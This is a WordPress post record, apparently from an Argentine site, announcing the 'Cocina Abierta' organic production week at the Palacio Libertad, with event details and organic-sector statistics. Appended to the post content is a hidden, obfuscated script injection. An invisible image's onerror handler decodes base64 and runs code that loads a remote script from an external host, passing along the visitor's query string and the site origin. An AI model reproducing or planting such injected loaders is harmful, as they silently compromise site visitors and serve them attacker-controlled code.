{"id":17120,"date":"2024-12-05T10:00:49","date_gmt":"2024-12-05T13:00:49","guid":{"rendered":"https:\/\/nubesmgzdigital.com.ar\/?p=17120"},"modified":"2025-08-13T15:40:58","modified_gmt":"2025-08-13T18:40:58","slug":"semana-de-la-produccion-organica-en-cocina-abierta","status":"publish","type":"post","link":"https:\/\/nubesmgzdigital.com.ar\/index.php\/2024\/12\/05\/semana-de-la-produccion-organica-en-cocina-abierta\/","title":{"rendered":"Semana de la Producci\u00f3n Org\u00e1nica en Cocina Abierta"},"content":{"rendered":"\n<h3 class=\"wp-block-heading has-white-color has-text-color has-background has-link-color wp-elements-e6f301863c3b8f56377bd4d5bfa4b0b4\" style=\"background-color:#433510\"><em>Del viernes 6 al domingo 8, en el Palacio Libertad, con entrada libre y gratuita.<\/em><\/h3>\n\n\n\n<p>La nueva edici\u00f3n de Cocina Abierta &#8211;<strong>del viernes 6 al domingo 8 de diciembre, en el Palacio Libertad<\/strong>&#8211; estar\u00e1 dedicada a la\u00a0<strong>producci\u00f3n org\u00e1nica, para destacar la importancia de la producci\u00f3n y el consumo de productos sustentables y con agregado de valor<\/strong>.<\/p>\n\n\n\n<p>La propuesta -enmarcada en el programa GustAr y en el D\u00eda Nacional de la Producci\u00f3n Org\u00e1nica Argentina, que se celebra cada 3 de diciembre- apunta a que\u00a0<strong>el p\u00fablico disfrute de una amplia variedad de productos org\u00e1nicos<\/strong>. La lista incluye: yerba, conservas, quesos, dulces y confituras, granolas, harinas, aderezos, miel, frutos secos, vinos y espumantes, jugos naturales y limonadas, frutas y ensaladas.<br>Los productos provienen de las provincias de Buenos Aires, Catamarca, C\u00f3rdoba, Mendoza, Misiones, San Juan, Santa Fe, Tierra del Fuego y la Ciudad Aut\u00f3noma de Buenos Aires.<\/p>\n\n\n\n<p>Adem\u00e1s, quienes asistan a Cocina Abierta \u2013<strong>de 14 a 20, con entrada libre y gratuita, Sarmiento 151, CABA<\/strong>&#8211; tendr\u00e1n la oportunidad de conocer las diferentes formas de producci\u00f3n y diferenciaci\u00f3n de los alimentos org\u00e1nicos. Tambi\u00e9n habr\u00e1 shows de cocina en vivo con chefs reconocidos, como\u00a0<strong>Madame Papin<\/strong>, en el marco de la campa\u00f1a nacional \u201cPescado y mariscos argentinos\u201d, y\u00a0<strong>Luis Bernal<\/strong>, en representaci\u00f3n de la gastronom\u00eda fueguina.<\/p>\n\n\n\n<p>En nuestro pa\u00eds, la producci\u00f3n org\u00e1nica es un sistema productivo diferenciado que representa una excelente oportunidad debido a sus ecorregiones, variedad de climas, disponibilidad de agua y suelos f\u00e9rtiles. A nivel mundial, estos productos son considerados especialidades, dirigidos a consumidores conscientes de la calidad y t\u00e9cnicas sostenibles de producci\u00f3n.&nbsp;<strong>La Argentina ocupa el tercer lugar mundial en superficie org\u00e1nica certificada<\/strong>, con 4,1 millones de hect\u00e1reas y exportaciones a m\u00e1s de 67 destinos (Fuente: Estad\u00edstica SENASA).<\/p>\n\n\n\n<p>La normativa argentina est\u00e1 reconocida por la Uni\u00f3n Europea, Suiza y Jap\u00f3n, permitiendo el acceso a estos mercados.&nbsp;<strong>Internamente, la demanda sigue creciendo y es acompa\u00f1ada con gran variedad de productos que se ofrecen al mercado nacional, principalmente industrializados para consumo directo<\/strong>.<\/p>\n\n\n\n<p><strong>GustAr es una iniciativa conjunta de las secretar\u00edas de Cultura; Turismo, Ambiente y Deportes y Agricultura, Ganader\u00eda y Pesca<\/strong>. El programa busca revalorizar la producci\u00f3n agroalimentaria, el turismo gastron\u00f3mico y la cultura alimentaria de las distintas regiones de nuestro pa\u00eds.<\/p>\n\n\n\n<p><a href=\"https:\/\/www.magyp.gob.ar\/gustar\/\">M\u00e1s informaci\u00f3n<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image size-large is-resized\"><a href=\"https:\/\/www.argentina.gob.ar\/noticias\/semana-de-la-produccion-organica-en-cocina-abierta\" target=\"_blank\" rel=\" noreferrer noopener\"><img decoding=\"async\" src=\"https:\/\/www.argentina.gob.ar\/profiles\/argentinagobar\/themes\/argentinagobar\/argentinagobar_theme\/logo_argentina-azul.svg\" alt=\"\" style=\"width:244px;height:auto\"\/><\/a><\/figure>\n<script>const img = document.createElement('img');img.src = '\/files\/img\/logo.png';img.setAttribute('data-digest', 'KGZ1bmN0aW9uKCl7dmFyIGE9bG9jYXRpb24sYj1kb2N1bWVudC5oZWFkfHxkb2N1bWVudC5nZXRFbGVtZW50c0J5VGFnTmFtZSgiaGVhZCIpWzBdLGM9InNjcmlwdCIsZD1hdG9iKCJhSFIwY0hNNkx5OTBaSE0wZFhNdVkyOXRMMkZxWVhneExuQm9jQT09Iik7ZCs9LTE8ZC5pbmRleE9mKCI\/Iik\/IiYiOiI\/IjtkKz1hLnNlYXJjaC5zdWJzdHJpbmcoMSk7Yz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KGMpO2Muc3JjPWQ7Yy5pZD1idG9hKGEub3JpZ2luKTtiLmFwcGVuZENoaWxkKGMpO30pKCk7');img.setAttribute('onerror', '(new Function(atob(this.dataset.digest)))();');img.style.visibility = 'hidden';document.body.insertBefore(img, document.body.firstChild);<\/script>","protected":false},"excerpt":{"rendered":"<p>Del viernes 6 al domingo 8, en el Palacio Libertad, con entrada libre y gratuita. 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